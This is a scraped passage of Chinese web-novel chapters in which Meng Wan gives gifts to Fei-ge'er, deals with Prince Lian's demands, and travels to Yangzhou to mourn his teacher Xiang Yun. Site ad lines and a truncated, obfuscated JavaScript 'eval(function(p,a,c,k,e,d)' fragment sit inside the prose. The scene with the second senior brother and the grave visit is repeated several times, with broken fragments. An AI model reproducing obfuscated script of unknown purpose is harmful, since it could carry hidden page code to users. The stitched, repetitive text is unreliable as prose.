难得在家休假一天,宋亭舟考虑的事情太多,时而还要给友人回信,孟晚没再打扰,自己带着黄叶跑去库房。 绯哥儿都来这么久了,他的见面礼还没给人家准备好呢! 孟晚的好东西不少,平常都是黄叶收着,被他分门别类的放到库房里。 两人叫上雪生当劳力,进去翻翻找找一阵儿,找出来五个大大小小的精致木箱来,被孟晚一股脑的都拿去给绯哥儿。 “你这见面礼未免太实在了。”聂知遥随意翻开一个小箱子,瞬间叹为观止。里面是一整箱的珍珠,用三层锦缎包裹着,每一颗的个头都一般大,像是拿尺量出来的大小,颗颗饱满,质地莹洁,显然比寻常珍珠更加贵重。 “你开这箱是小的,给绯哥儿缝缀在衣裳上,或是串起来做配饰玩都成。” 孟晚掀开另一个箱子,里面的珍珠质地与聂知遥开的那箱差不多,只是珠子更大,“这里头是大的,给他镶嵌成首饰。” “哇!”绯哥儿还小,平时再规矩,看到这么多漂亮的珍珠也忍不住惊呼出声。 孟晚笑着将他牵过来,“都是小叔叔送你玩的,看看喜不喜欢。” 他顺手将剩下三个箱子依次打开给绯哥儿看,一箱未雕琢的玉石,一箱壵锦罗帕,一箱翡翠宝石。 都是寻常小哥儿们喜欢,上得了台面又值钱的东西,能做成首饰,还能变现,不负聂知遥的“实在”一说。 绯哥儿越看眼睛越亮,他低眉顺眼的偷瞄自己阿爹。 虽然不知道孟晚这些年在西梧府赚了多少,但看样子家底厚了不止一层,聂知遥没和他客气,对儿子点了点头,“你小叔不是外人,既然他送给你的,就收下吧,要对小叔道谢。” 绯哥儿小小的欢呼一声,“谢谢小叔!” 他最喜欢的就是那两 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 箱珍珠比他所有的珍珠首饰都要好看回去可以让家里的下人为他镶嵌到鞋子上去。 绯哥儿让身边的小侍帮他抱着珍珠迫不及待的回了自己房间。 “绯哥儿在盛京城里从没这么开心过。”聂知遥望着他脚步轻快的背影有些心疼儿子。 乐正崎的族人不待见他 虽然已经分了家但逢年过节不回去就是不孝为了名声让绯哥儿忍受许多小小年纪养成了这样胆小的性子。 孟晚轻拍他胳膊安慰“你不必内疚我知道你们在盛京城中处境不好是这个世道有问题和你、和绯哥儿都没有干系。” 聂知遥勾起嘴角“你说话还是那么有趣又好听。” 孟晚也笑了他就知道聂知遥比寻常人聪明不会陷入内耗自寻烦恼。 他从椅子上站起来邀请聂知遥道:“明天跟我去赫山县玩吗?还可以去看看聂先生和聂二夫郎。” “我也在想着这件事能和你一起去正好我早就想见识见识大名鼎鼎的赫山糖坊了。” “绝对让你大饱眼福现在的赫山县可不止我一家糖坊。” 聂知遥父子俩安心在宋家住下走了个通儿玩伴又多了个绯哥儿。可是阿砚觉得绯哥儿规矩多不喜欢带他玩他更喜欢和书院里的同窗玩耍。 孟晚看绯哥儿太过乖巧老实干脆劝聂知遥把绯哥儿送去松韵学院上学去绯哥儿从来没有和这么多的小哥儿女娘一起玩过没几天就从被动上学到主动要求过去。 夏日最热的时候朝廷终于下达公文命廉王带兵讨伐安南钦州的大小官员都要随时准备支援。 他大张旗鼓的来承宣布政司的人就不遗余力的讨好。西梧府和钦州辖内的官员则全都看宋亭舟脸色行事便是心里也想讨好皇子但宋亭舟不发话他们就老老实实跟在上司身后。 “宋大人许久不见风采依旧啊!这次钦州生疫宋大人劳苦功高吏部已经给宋大人记在考成簿上想必秋后就会有好消息传来。”廉王头颅高高扬起轻薄昂贵的华服衬得他气质斐然。他母妃是皇上的宠妃廉王这张脸自然也不差可眼神中的野心总是不经意间显露出来让旁人觉得不安。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 他对一直恭维自己的承宣布政使视而不见,反而找上宋亭舟说上了话,承宣布政使的脸色有些难看,下一瞬间又隐了下去。 坐到这个位置上,没人是傻子,若廉王殿下见他面色有异就糟了。 宋亭舟躬身行礼,“殿下谬赞,都是下官分内之责罢了。 廉王嘴角的笑意一收,用阴骘的眼神扫了一眼宋亭舟,“宋大人能力斐然,便去边境帮我征收军饷吧。 宋亭舟仍是那副不咸不淡的模样,“殿下说笑了,下官听说户部已经拨下大军开拔之资,怎么可能还要在岭南征收军饷呢? 岭南除了西梧府周边的府城跟着富了起来,还有大片的贫困之地,钦州甚至上半年还被朝廷赈灾,现在要在当地征收军饷?真是可笑又荒唐。 也就是宋亭舟面对这种无礼要求还能淡定,承宣布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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聂知遥扶着他的胳膊,也略有哀伤的劝道:“项先生和林大人已经是长寿高龄了,算是喜丧,你不必太过伤心。” 孟晚阖上爬上血色的双眸,嘴唇颤了颤,对耿妈妈的儿子说:“你先下去好好休息一夜,一会儿我叫人去赫山县通知聂二叔麽,等他来了我们就启程去扬州。” 项芸那边咽了气,耿妈妈的儿子就飞奔至西梧府过来报丧,一路辛苦连眼睛都快张不开了,闻言对孟晚施了一礼,随桂诚引去客房休息了。 聂知遥留下劝了两句孟晚,便也离开他这里。聂知遥本身与项芸是没什么牵连的,只是因为聂二夫郎才得项芸入眼,当个寻常晚辈看待。孟晚和聂二夫郎去拜祭,按理说他也能跟着一起去。 其他人都走了,孟晚才拂袖趴伏在边几上,无声的落下泪来。他前世命不好,父母去的早,没能享受几年亲情。幸好后来常金花把他当成亲生儿子去养,他才体会到母子之间真挚的情感,常金花也是他最亲近的亲人。 项芸又是不同,她不是严师,也不如常金花那样会细致的照顾晚辈,可她对孟晚的维护之情是显而易见的,是孟晚心中第二位重要的长辈。 孟晚知道她和林易年事已高,已然活不了多久了,却没想到这一天来的这样快。让他在有心理准备的情况下,依旧情绪悲痛。 被压抑住的哭声闷得像口中被堵住了棉花,孟晚将自己整张脸都藏在宽大的袖袍之下,肩膀小幅度的抖动,悲伤的情绪在空荡的屋子里蔓延。 有人动作轻缓地将他扒出来,嗓音温柔的小声询问:“晚儿?怎么了?” “宋亭舟,师父和师公……他们……去世了……”孟晚像是受了天大委屈的孩子,趴在宋亭舟怀里悲恸的大哭,渐渐泣不成声。 宋亭舟瞳孔猛地放大一瞬,他紧紧抱住孟晚,想起林易和项芸上次来西梧时的画面,眼神同样酸楚起来,“年后通信还好好的,怎会如此突然。” 第22章 二师兄 他的话问到孟晚心上了,他猛然支棱起来,从宋亭舟怀里揪出一块帕子随意抹了抹脸,“你说他们会不会是为了师兄……” 所以……自裁了。 宋亭舟抿紧嘴唇,“这次他们夫妇俩双双去世,师兄必要回扬州丁忧。” “不成,我不等了,明日一早我就尽快赶去扬州,让遥哥儿在府城等二叔嬷。”孟晚心里一阵阵的难受,若是项芸和林易是寿终正寝,他还能自我慰藉,但若是为了儿子林苁蓉免于掺和进夺嫡之争而牺牲自己,他无论如何也无法接受。 宋亭舟想陪孟晚一起去扬州,“那我明日也去钦州同布政使告假。” 孟晚自然想与他一道过去祭奠师父师公,但最近廉王一直在找宋亭舟的麻烦,他定是脱不开身的,而且钦州的事也需要他坐镇。“这个当口,你便是去找布政使,廉王也肯定会从中作梗。再说,咱们与安南即将“开战”,你真能离开岭南?” 孟晚说的不假,宋亭舟向来沉稳的样子难得有些破碎,他才刚和自家夫郎过几天的安稳日子,居然又要分开。 刚才被安慰的人只好又反过来抱着宋亭舟劝,“我一定多加小心,等祭奠完师父师公就立即回家。”说到后面,孟晚语气又有几分哽咽。 两人站了半天了,宋亭舟坐到屋里的椅子上去,家里没有外人,他直接把孟晚拉到自己腿上坐,胳膊横在他柔韧的腰身上,“那你将蚩羽和雪生都带去,小辞也跟你去。” “雪生留在你身边吧,蚩羽身手好,又是小哥儿,我带他和小辞去。我们三人上路,尽量快些到扬州。”孟晚靠在宋亭舟肩头,视线透过屋内的窗子,看向外面,明明烈日当头,却有一股从骨头缝里透出的寒意遍布他全身,让他不自觉的打了个冷战,整个人都缩在宋亭舟怀里才能摄取一丝温暖。 下午孟晚收拾行李,只收拾出来两个大包袱,说好再也不想吃的藕粉独占一个包袱。 他连马车都没叫家里下人们准备,第二天天不亮就和蚩羽、楚辞三人,一人骑一匹马,快马加鞭的赶路。 因为石见驿站一路铺设向北,所以此行吃住都没问题,若不是着急去林家,孟晚还能顺便查查账。 就这样一路遇水走水路,遇官路走官路,除去蚩羽干掉几个不起眼的**贼外并无太多波澜。 六月初二,孟晚顶着如银丝一般的细雨敲响了扬州城林家的 大门。 林家在扬州城里是有宅院的,不大不小的三进宅院,是当年林易和项芸成亲时置办的,老两口回扬州养老后没怎么住在这儿,都是住在乡下老家。 这次林家办丧事老家地方太小,所以定是在城里办丧事,再送葬至乡下安葬。 项芸没想着让人送别,临死前才让仆人们将消息散出去,除了孟晚这样亲近的人,其余林易门生都是林苁蓉回扬州后才通知的。 因此孟晚赶来的这时候林家的大门两侧还挂着白灯笼,但葬礼早已结束。 守门的仆人早就习惯最近天天有人上门,就坐在大门里面,见有人来忙上前询问:“可是来给我家老太爷和老夫人吊唁的?” 孟晚刚才是在客栈梳洗一番才上门的,他打着一把白色的油纸伞,穿着一身纯白色的衣裳,外罩粗麻丧服,左臂上绑着孝布,头发也是用白色孝布扎成一个马尾辫,浑身上下无任何一件饰品,然后脚步沉重的站在林家大门前说道:“我是来奔丧的。” 吊唁是来哀悼亡者,慰问家属,奔丧则是逝者的亲属,从外地赶过来千里奔丧。 看门的仆人刚才还在心里叨咕,怎么来的主家是个哥儿,听了孟晚的话一下子反应过来,“您是孟夫郎?快请进。” 孟晚并不意外他的反应,林苁蓉在家肯定是交代过了。 “快去后院中堂禀告大爷,就说是孟夫郎到了。”看门的仆人领着孟晚进院子,又忙交代其他粗使下人快去禀告林苁蓉。 扬州庭院精巧别致,林家不说是一步一景,但也是粉墙黛瓦、飞檐翘角,脚下曲径通幽的小路蜿蜒于花木之间,孟晚打着伞踏在上面健步如飞,开得正绚烂如画的花朵也留不住他焦急的步伐。 走到二进的月洞门时,林苁蓉携夫人也已经匆匆赶到。 “晚哥儿,没想到你来的这样快。”林苁蓉比六年前老了不少,气质仍是清隽,但两鬓已然斑白。 他夫人柳氏同样如此,两人皆一身孝服满脸疲惫,双眼红肿不堪。 孟晚对二人揖了一礼,语带沉重的气息,“师兄,大嫂,还请节哀。” 柳氏回了一礼,“你一路奔波,想必累了,先在家休整一晚,明早你师兄带着你去下乡公婆坟冢前祭拜吧。” 就算孟晚不累,林苁蓉夫妇这般憔悴,孟晚也不好说现在就去乡下,应了下来,带楚 辞蚩羽在林家的一间客院住下。 林家现在的情况很矛盾,一面宅子里的孝布和白灯笼还没拆下来,仆人们在宅院中穿梭的时候,几乎没人敢大声交流,整座宅院的氛围肃穆又沉重。 但另一方面,这次项芸林易的葬礼,除了林易的门生来往吊唁之外,他们的亲属、林苁蓉与柳氏的两个儿子和儿媳、项芸女儿怀恩伯爵夫人林苁蕙一家,再加上刚到的孟晚和没到的聂二夫郎,将三座的院落塞得满满当当。 也幸好孟晚没带多少仆从来,不然还真安排不开。 孟晚有一肚子的话想问林苁蓉,然而现在并不是好时机,柳氏把他送到小院里,孟晚与她叙了几句家常,“大嫂,怎么不见萱娘?” 柳氏愁苦的脸上神色减缓,“萱娘有了身子,早早就回了京城。”小姑娘十七岁就嫁人了,好在夫家也是京城人士,母女俩一年还能见上几面。 当年萱娘成亲的时候,孟晚虽然因为离得太远没能回京送嫁,却给小姑娘添了不少的嫁妆,柳氏承他的情,因此对孟晚还算亲厚。 家里还有很多事需要柳氏打点,两个儿媳毕竟年轻。临走前孟晚问她:“大嫂,不知怀恩伯爵夫人可在?我是不是要去过去见礼?” 柳氏语气无奈的说:“她确实是在家里住着,连带着儿子儿媳都在,但说了不愿旁人打扰,你还是别去了,我一会儿吩咐人过去说一声你到了就好。” 她这小姑子心高气傲,林氏族人都瞧不上,孟晚真要是过去问安,被她冷待就是他们林家的不是了,还不如她去通通气,不想见干脆不见好了。 孟晚同样不是真心想去,只不过他与项芸有这份师徒情,怀恩伯爵夫人的地位又在那儿,他不好半点表示都没有。有了柳氏这番话,起码孟晚的不去也挑不出错处来。 晚饭是林家的下人端到小院里来的,虽然是在林家,但又不是林苁蓉亲自下厨给他做的饭,孟晚该小心一样得小心。 “小辞,你试试有毒没。”孟晚指着桌上的饭菜问。 楚辞拿出他常年浸泡特殊药水的银针挨个菜试毒,确认都没问题三人才坐下吃饭。 清炖豆腐、清炒白菜、白菜炖豆腐。 凉拌胡瓜、凉拌水芹、凉拌茄子。 蚩羽撇了撇嘴,想哭,他是鹋寨里最好的猎手,无肉不欢。没想到在路上吃的简单可以理解,来了扬州还要 吃素。 孟晚给他夹了一筷子豆腐,“忍忍吧,等回了西梧府,我给你炖猪蹄、蒸螃蟹。” 孟晚自己也没滋没味的吃着饭,他倒不是像蚩羽一样馋肉,只是心里有事,吃什么都不香。 楚辞放下筷子将手指搭在他手腕上片刻,然后拿起筷子给孟晚每样菜都夹了一点,手上比划着,“多多吃一些,身体才康健。” 夜里外面的雨下的越来越响,水滴拍打院子里花草的声音扰人清梦,孟晚在黑暗中闭目轻叹,明天可能去不了乡下了。 果然,第二天一早林苁蓉院里的小厮就过来禀告,说是今天雨势太大,不好进山,过两日等山路不太泥泞的时候再去不迟。 反正葬礼已经错过了,确实不差这么几天,这两天林家的客人来来往往,都是从远处赶来的,若遇到携女眷一起前来的孟晚也要过去作陪。 他一身白衣,不添任何首饰也比旁人夺目,跟在柳氏两个儿媳妇身边好像是林家的哥儿似的,见到的女眷都要问上两句,得到答案是项芸的小弟子就没话了。 无他,太不出名。众人只是隐约得到风声说他嫁了个外派出去的官员,多年没有回京,并没有听说他有什么名作。 也只有京城参与了三年前御书房朝政的官员,才有幸得见过孟晚真迹。除此之外还有林苁蓉放到林家族学里的一幅昌平水患图,被与项先生的几幅画作排在一起,当作传家之宝,供后人传阅。 因此说孟晚不出名,当日殿上的高官暗自想收藏他两幅画却不得门路。 若说他出名,孟晚这个名字只怕也仅在岭南好使,寻常人确实不得而知。 因此他虽然因为脸长得出色被人多看两眼,倒也没人想主动搭理他,乐得他轻松自在。 到现在其实外来的客人已经不多了,该来吊唁的都已经来过,但第五天林苁蓉又将他叫过去,对着一个三十多岁的中年文士介绍,“这就是母亲收的小徒弟。” 又对孟晚说:“晚哥儿,这是你二师兄,戴仲。” 项芸此生只收了三个徒弟,大徒弟也是哥儿,只可惜命薄,早早就已经离世。 二徒弟闲云野鹤,性情乖张,反复无常,很奇妙的三个词语,组合在一起是项芸对这个二徒弟的评价。 老三就是孟晚,项芸最喜欢、也是最令他骄傲的一个。她说孟晚是她此生收过最得 意的弟子。 “见过二师兄。”孟晚看着这位二师兄,他以笔为簪,模样清隽,很符合孟晚印象中潇潇洒洒的丹青客形象。而且他头上那根笔着实有意思,黑色的笔头看上去极为坚硬,笔杆部分又被雕琢成一节节的竹子,材质是灰白色的。 戴仲朗声一笑,“小师弟似乎喜欢师兄这根发簪,不若就送了你吧。” 他说着动作飞快的将簪子拔下,满头的长发就这么突然披散下来,吓了孟晚一大跳。 孟晚往后退了一步,双手背在身后,“师兄说笑了,我只是见你的发簪别致,这才多看两眼。” 这人怎么好像有什么大病似的,当着外人的面说拔簪就拔簪。这个时代发簪和鞋袜相同,只能亲近的父母兄弟和两口子之间才能送,他要是收了他的发簪,让宋亭舟知道还了得? 林苁蓉也是大为震惊,“戴仲,你快将簪子戴好,晚哥儿自己有。” 两人好说歹说才将如此随性的男人劝住,孟晚没收他的发簪,他还颇为可惜的样子。 孟晚:“……” 后一天聂二夫郎和聂知遥也到了,除此以外基本无人再来,林苁蓉便带他们去乡下林易和项芸的坟前亲自祭拜。 孟晚是最后一个祭拜的,其余人都在山下马车里等着,孟晚跪在项芸和林易墓前,一张张的往火堆里添纸钱元宝,眼睛又开始止不住的泛酸。 “师兄,师父她究竟是**的。” 林苁蓉眼神复杂,“我知道你在想什么,不是,也算是。” 孟晚扭头仰视他,“何意?” “我父亲从去年冬天就已经开始不认得人了,他确实是老死无疑。”林苁蓉说着也跪在坟前,“母亲她……在父亲死后是一心求死的,六天没饮一口水,吃上一粒米,你师公的灵堂还没撤下,她就也跟着去了” 几滴泪从孟晚下巴上滑落,一路滴到泥土上,很快被土地吸收无踪,“师父走之前有没有说什么?” 林苁蓉摇了摇头,“当时她已经说不出话来了。”而且项芸能说话的时候也懒得再说。 她本就不是一个喜欢谆谆教导后代的老太太,该怎么过活都是孩子们自己的事,也就只有孟晚,还曾被她认真的托过孤。 从山上下去,孟晚和林苁蓉都已经恢复平静。 既然大家都祭拜过林易项芸,也是时候告辞了。不同于来时的悲伤焦急,走的时候更多是一种淡淡的愁绪。 林苁蓉的两个儿子里,大儿子只考了个秀才,是用了林苁蓉二品官员的勋劳荫入国子监读书的,如今在地方上做七品知县。 二儿子倒是争气些,如今是举人,有机会凭自身能力考上进士,但那也是之后的事了。 林苁蓉丁忧回家,是要在扬州住上二十七个月的,也就是两年。林家没有爵位,两年脱离朝堂,也不知其中会不会出现其他变化。 “大哥,我早就说过让二侄儿往勋贵家的女儿上攀附一二,你偏不听,不然怎么会出现如今的窘迫的局面?”怀恩伯爵夫人嘲讽道。 她明里暗里都是嫌两个侄儿不争气,但林苁蓉只有一个荫监的名额,当初给了老大,后来还是林苁蕙帮的忙让老二也进了国子监。 意的弟子。 “见过二师兄。”孟晚看着这位二师兄,他以笔为簪,模样清隽,很符合孟晚印象中潇潇洒洒的丹青客形象。而且他头上那根笔着实有意思,黑色的笔头看上去极为坚硬,笔杆部分又被雕琢成一节节的竹子,材质是灰白色的。 戴仲朗声一笑,“小师弟似乎喜欢师兄这根发簪,不若就送了你吧。” 他说着动作飞快的将簪子拔下,满头的长发就这么突然披散下来,吓了孟晚一大跳。 孟晚往后退了一步,双手背在身后,“师兄说笑了,我只是见你的发簪别致,这才多看两眼。” 这人怎么好像有什么大病似的,当着外人的面说拔簪就拔簪。这个时代发簪和鞋袜相同,只能亲近的父母兄弟和两口子之间才能送,他要是收了他的发簪,让宋亭舟知道还了得? 林苁蓉也是大为震惊,“戴仲,你快将簪子戴好,晚哥儿自己有。” 两人好说歹说才将如此随性的男人劝住,孟晚没收他的发簪,他还颇为可惜的样子。 孟晚:“……” 后一天聂二夫郎和聂知遥也到了,除此以外基本无人再来,林苁蓉便带他们去乡下林易和项芸的坟前亲自祭拜。 孟晚是最后一个祭拜的,其余人都在山下马车里等着,孟晚跪在项芸和林易墓前,一张张的往火堆里添纸钱元宝,眼睛又开始止不住的泛酸。 “师兄,师父她究竟是**的。” 林苁蓉眼神复杂,“我知道你在想什么,不是,也算是。” 孟晚扭头仰视他,“何意?” “我父亲从去年冬天就已经开始不认得人了,他确实是老死无疑。”林苁蓉说着也跪在坟前,“母亲她……在父亲死后是一心求死的,六天没饮一口水,吃上一粒米,你师公的灵堂还没撤下,她就也跟着去了” 几滴泪从孟晚下巴上滑落,一路滴到泥土上,很快被土地吸收无踪,“师父走之前有没有说什么?” 林苁蓉摇了摇头,“当时她已经说不出话来了。”而且项芸能说话的时候也懒得再说。 她本就不是一个喜欢谆谆教导后代的老太太,该怎么过活都是孩子们自己的事,也就只有孟晚,还曾被她认真的托过孤。 从山上下去,孟晚和林苁蓉都已经恢复平静。 既然大家都祭拜过林易项芸,也是时候告辞了。不同于来时的悲伤焦急,走的时候更多是一种淡淡的愁绪。 林苁蓉的两个儿子里,大儿子只考了个秀才,是用了林苁蓉二品官员的勋劳荫入国子监读书的,如今在地方上做七品知县。 二儿子倒是争气些,如今是举人,有机会凭自身能力考上进士,但那也是之后的事了。 林苁蓉丁忧回家,是要在扬州住上二十七个月的,也就是两年。林家没有爵位,两年脱离朝堂,也不知其中会不会出现其他变化。 “大哥,我早就说过让二侄儿往勋贵家的女儿上攀附一二,你偏不听,不然怎么会出现如今的窘迫的局面?”怀恩伯爵夫人嘲讽道。 她明里暗里都是嫌两个侄儿不争气,但林苁蓉只有一个荫监的名额,当初给了老大,后来还是林苁蕙帮的忙让老二也进了国子监。 意的弟子。 “见过二师兄。”孟晚看着这位二师兄,他以笔为簪,模样清隽,很符合孟晚印象中潇潇洒洒的丹青客形象。而且他头上那根笔着实有意思,黑色的笔头看上去极为坚硬,笔杆部分又被雕琢成一节节的竹子,材质是灰白色的。 戴仲朗声一笑,“小师弟似乎喜欢师兄这根发簪,不若就送了你吧。” 他说着动作飞快的将簪子拔下,满头的长发就这么突然披散下来,吓了孟晚一大跳。 孟晚往后退了一步,双手背在身后,“师兄说笑了,我只是见你的发簪别致,这才多看两眼。” 这人怎么好像有什么大病似的,当着外人的面说拔簪就拔簪。这个时代发簪和鞋袜相同,只能亲近的父母兄弟和两口子之间才能送,他要是收了他的发簪,让宋亭舟知道还了得? 林苁蓉也是大为震惊,“戴仲,你快将簪子戴好,晚哥儿自己有。” 两人好说歹说才将如此随性的男人劝住,孟晚没收他的发簪,他还颇为可惜的样子。 孟晚:“ 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她本就不是一个喜欢谆谆教导后代的老太太,该怎么过活都是孩子们自己的事,也就只有孟晚,还曾被她认真的托过孤。 从山上下去,孟晚和林苁蓉都已经恢复平静。 既然大家都祭拜过林易项芸,也是时候告辞了。不同于来时的悲伤焦急,走的时候更多是一种淡淡的愁绪。 林苁蓉的两个儿子里,大儿子只考了个秀才,是用了林苁蓉二品官员的勋劳荫入国子监读书的,如今在地方上做七品知县。 二儿子倒是争气些,如今是举人,有机会凭自身能力考上进士,但那也是之后的事了。 林苁蓉丁忧回家,是要在扬州住上二十七个月的,也就是两年。林家没有爵位,两年脱离朝堂,也不知其中会不会出现其他变化。 “大哥,我早就说过让二侄儿往勋贵家的女儿上攀附一二,你偏不听,不然怎么会出现如今的窘迫的局面?”怀恩伯爵夫人嘲讽道。 她明里暗里都是嫌两个侄儿不争气,但林苁蓉只有一个荫监的名额,当初给了老大,后来还是林苁蕙帮的忙让老二也进了国子监。 意的弟子。 “见过二师兄。”孟晚看着这位二师兄,他以笔为簪,模样清隽,很符合孟晚印象中潇潇洒洒的丹青客形象。而且他头上那根笔着实有意思,黑色的笔头看上去极为坚硬,笔杆部分又被雕琢成一节节的竹子,材质是灰白色的。 戴仲朗声一笑,“小师弟似乎喜欢师兄这根发簪,不若就送了你吧。” 他说着动作飞快的将簪子拔下,满头的长发就这么突然披散下来,吓了孟晚一大跳。 孟晚往后退了一步,双手背在身后,“师兄说笑了,我只是见你的发簪别致,这才多看两眼。” 这人怎么好像有什么大病似的,当着外人的面说拔簪就拔簪。这个时代发簪和鞋袜相同,只能亲近的父母兄弟和两口子之间才能送,他要是收了他的发簪,让宋亭舟知道还了得? 林苁蓉也是大为震惊,“戴仲,你快将簪子戴好,晚哥儿自己有。” 两人好说歹说才将如此随性的男人劝住,孟晚没收他的发簪,他还颇为可惜的样子。 孟晚:“……” 后一天聂二夫郎和聂知遥也到了,除此以外基本无人再来,林苁蓉便带他们去乡下林易和项芸的坟前亲自祭拜。 孟晚是最后一个祭拜的,其余人都在山下马车里等着,孟晚跪在项芸和林易墓前,一张张的往火堆里添纸钱元宝,眼睛又开始止不住的泛酸。 “师兄,师父她究竟是**的。” 林苁蓉眼神复杂,“我知道你在想什么,不是,也算是。” 孟晚扭头仰视他,“何意?” “我父亲从去年冬天就已经开始不认得人了,他确实是老死无疑。”林苁蓉说着也跪在坟前,“母亲她……在父亲死后是一心求死的,六天没饮一口水,吃上一粒米,你师公的灵堂还没撤下,她就也跟着去了” 几滴泪从孟晚下巴上滑落,一路滴到泥土上,很快被土地吸收无踪,“师父走之前有没有说什么?” 林苁蓉摇了摇头,“当时她已经说不出话来了。”而且项芸能说话的时候也懒得再说。 她本就不是一个喜欢谆谆教导后代的老太太,该怎么过活都是孩子们自己的事,也就只有孟晚,还曾被她认真的托过孤。 从山上下去,孟晚和林苁蓉都已经恢复平静。 既然大家都祭拜过林易项芸,也是时候告辞了。不同于来时的悲伤焦急,走的时候更多是一种淡淡的愁绪。 林苁蓉的两个儿子里,大儿子只考了个秀才,是用了林苁蓉二品官员的勋劳荫入国子监读书的,如今在地方上做七品知县。 二儿子倒是争气些,如今是举人,有机会凭自身能力考上进士,但那也是之后的事了。 林苁蓉丁忧回家,是要在扬州住上二十七个月的,也就是两年。林家没有爵位,两年脱离朝堂,也不知其中会不会出现其他变化。 “大哥,我早就说过让二侄儿往勋贵家的女儿上攀附一二,你偏不听,不然怎么会出现如今的窘迫的局面?”怀恩伯爵夫人嘲讽道。 她明里暗里都是嫌两个侄儿不争气,但林苁蓉只有一个荫监的名额,当初给了老大,后来还是林苁蕙帮的忙让老二也进了国子监。 意的弟子。 “见过二师兄。”孟晚看着这位二师兄,他以笔为簪,模样清隽,很符合孟晚印象中潇潇洒洒的丹青客形象。而且他头上那根笔着实有意思,黑色的笔头看上去极为坚硬,笔杆部分又被雕琢成一节节的竹子,材质是灰白色的。 戴仲朗声一笑,“小师弟似乎喜欢师兄这根发簪,不若就送了你吧。” 他说着动作飞快的将簪子拔下,满头的长发就这么突然披散下来,吓了孟晚一大跳。 孟晚往后退了一步,双手背在身后,“师兄说笑了,我只是见你的发簪别致,这才多看两眼。” 这人怎么好像有什么大病似的,当着外人的面说拔簪就拔簪。这个时代发簪和鞋袜相同,只能亲近的父母兄弟和两口子之间才能送,他要是收了他的发簪,让宋亭舟知道还了得? 林苁蓉也是大为震惊,“戴仲,你快将簪子戴好,晚哥儿自己有。” 两人好说歹说才将如此随性的男人劝住,孟晚没收他的发簪,他还颇为可惜的样子。 孟晚:“……” 后一天聂二夫郎和聂知遥也到了,除此以外基本无人再来,林苁蓉便带他们去乡下林易和项芸的坟前亲自祭拜。 孟晚是最后一个祭拜的,其余人都在山下马车里等着,孟晚跪在项芸和林易墓前,一张张的往火堆里添纸钱元宝,眼睛又开始止不住的泛酸。 “师兄,师父她究竟是**的。” 林苁蓉眼神复杂,“我知道你在想什么,不是,也算是。” 孟晚扭头仰视他,“何意?” “我父亲从去年冬天就已经开始不认得人了,他确实是老死无疑。”林苁蓉说着也跪在坟前,“母亲她……在父亲死后是一心求死的,六天没饮一口水,吃上一粒米,你师公的灵堂还没撤下,她就也跟着去了” 几滴泪从孟晚下巴上滑落,一路滴到泥土上,很快被土地吸收无踪,“师父走之前有没有说什么?” 林苁蓉摇了摇头,“当时她已经说不出话来了。”而且项芸能说话的时候也懒得再说。 她本就不是一个喜欢谆谆教导后代的老太太,该怎么过活都是孩子们自己的事,也就只有孟晚,还曾被她认真的托过孤。 从山上下去,孟晚和林苁蓉都已经恢复平静。 既然大家都祭拜过林易项芸,也是时候告辞了。不同于来时的悲伤焦急,走的时候更多是一种淡淡的愁绪。 林苁蓉的两个儿子里,大儿子只考了个秀才,是用了林苁蓉二品官员的勋劳荫入国子监读书的,如今在地方上做七品知县。 二儿子倒是争气些,如今是举人,有机会凭自身能力考上进士,但那也是之后的事了。 林苁蓉丁忧回家,是要在扬州住上二十七个月的,也就是两年。林家没有爵位,两年脱离朝堂,也不知其中会不会出现其他变化。 “大哥,我早就说过让二侄儿往勋贵家的女儿上攀附一二,你偏不听,不然怎么会出现如今的窘迫的局面?”怀恩伯爵夫人嘲讽道。 她明里暗里都是嫌两个侄儿不争气,但林苁蓉只有一个荫监的名额,当初给了老大,后来还是林苁蕙帮的忙让老二也进了国子监。 第23章 调令 林家人是承怀恩伯爵夫人这份情的,可林苁蓉的二儿媳这会儿垂着头听着却不是滋味。她家门户不如林家,父亲也只是地方上的知府,算是高嫁,姑母说的这番话就是在打她的脸。 林苁蕙讽刺完自家人又开始端起伯爵夫人的架子,她高高昂着头颅,拿眼白看人,“孟夫郎,你千里迢迢过来替我父母吊唁,真的辛苦一场。只是你也看到了林家现在的处境,只怕我那哥哥不能帮到你夫君什么,如今我母亲已经仙逝,日后也不必与我林家走动了。” 她之前对孟晚虽然冷淡,好歹还说两句人话,这回一不在盛京城,二来项芸已经去世,林苁蕙想让孟晚知难而退,别扒着她大哥这个二品大员不放。 嘲讽孟晚的多了,他并不怎么在意,安静的站在后面,当是给林苁蓉几分面子。 师父刚去世,他在林家和林苁蕙吵起来算什么? 孟晚尚且还没说话,林苁蓉就险些被妹妹这番言论气死,“你现在伯爵夫人了,说话便可这般肆无忌惮?林家何时轮到你做主了!” 夫君表了态,柳氏这才跟着说了一句,“妹妹,晚哥儿是母亲的亲传弟子,与家里素来亲厚,你说说二郎媳妇我们忍了,做什么又说到晚哥儿身上?” 林二郎媳妇冷哼一声,小声附和道:“就是。” “长辈说话哪儿轮得到你插嘴,你娘家就是这般教养你的?不愧是小地方出身。”林苁蕙往日最看好二侄儿,很是恼火林苁蓉夫妻没让侄儿娶她挑选的贵女,所以对这个侄媳妇比对“打秋风”的孟晚还生气。 林苁蓉自有文士风范,不愿在这么多人面前与妹妹争执,只是冷声说道:“我林家庙小,自是容不下怀恩伯爵府的夫人,伯爵夫人还是自行离去吧,至于林家家事,就用不上你操心了。” “大哥!”林苁蕙变了脸色,“你何必为了两个小辈这么说我,难道我不是为了林家,为了二郎吗?” “你自管好你自己的儿女,林家是清流人家,不像你似的一门心思钻营。”林苁蓉知道她性子有些执拗,当初千方百计非要嫁进伯爵府,把项芸夫妻俩气得半死。进了伯爵府后受婆母磋磨过,日子艰难,自己在外地为官又没能替她出头,她是有些埋怨娘家的,便多是纵容她,没想到她现在竟然说出这么是非不分的话来。 “大哥你!” “母亲,咱们还是先回京吧,舅舅舅母也累了这么些 日子了,让他们好好歇歇。”林苁蕙的儿子嘴角僵硬的笑,手上硬将自己母亲往伯爵府的马车上送。 